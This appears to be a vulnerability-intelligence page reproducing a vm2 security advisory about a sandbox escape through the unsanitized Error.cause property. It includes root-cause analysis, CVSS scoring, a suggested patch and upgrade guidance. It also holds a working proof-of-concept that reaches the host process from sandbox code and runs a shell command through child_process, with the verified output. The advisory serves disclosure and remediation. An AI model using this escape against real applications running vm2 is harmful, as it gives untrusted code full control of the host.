Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attacker-supplied sandbox code (PR:L) reliably escapes to full host compromise across the sandbox boundary (S:C, C/I/A:H); AC:L since exploitation is deterministic once the embedder throws a host-referencing error.
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4Blast Radius
ecosystem impact- 4,224 npm packages depend on vm2 (1,156 direct, 3,100 indirect)
Ecosystem-wide dependent count for version 3.11.6.
DescriptionCVE.org
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause |
Articles & Coverage 2
AnalysisAI
Sandbox escape to remote code execution in the vm2 Node.js sandbox library (versions <= 3.11.5) arises because handleException() in lib/setup-sandbox.js sanitizes SuppressedError and AggregateError sub-errors but never inspects the ES2022 Error.cause property. Untrusted code running inside the sandbox that catches a host-thrown error carrying a .cause (or other own property) pointing at a host object such as process can dereference it to reach child_process and run arbitrary host commands. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the embedding application expose a host function to the sandbox which throws an Error whose .cause (or an arbitrary own property such as err.detail, or a SuppressedError/AggregateError slot, or the error's prototype chain) references a powerful host object like process, require, or module. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue for anyone still running vm2, not a paper-tiger high-CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An application uses vm2 to execute user-submitted JavaScript and exposes a host helper (e.g., a database or HTTP wrapper) that, on failure, throws new Error('fail', { cause: process }). An attacker submits sandbox code that calls the helper, catches the error, reads e.cause to obtain the live host process object, and executes proc.mainModule.require('child_process').execSync('id') for full RCE. … |
| Remediation | Vendor-released patch: upgrade vm2 to 3.11.6, which closes GHSA-m283-3h24-438v by sanitizing Error.cause and other host-reference carriers on all error types (release notes: https://github.com/patriksimek/vm2/releases/tag/3.11.6; advisory: https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all systems running vm2 versions 3.11.5 or earlier and assess their exposure. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
Same weakness CWE-693 – Protection Mechanism Failure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-60460
GHSA-m283-3h24-438v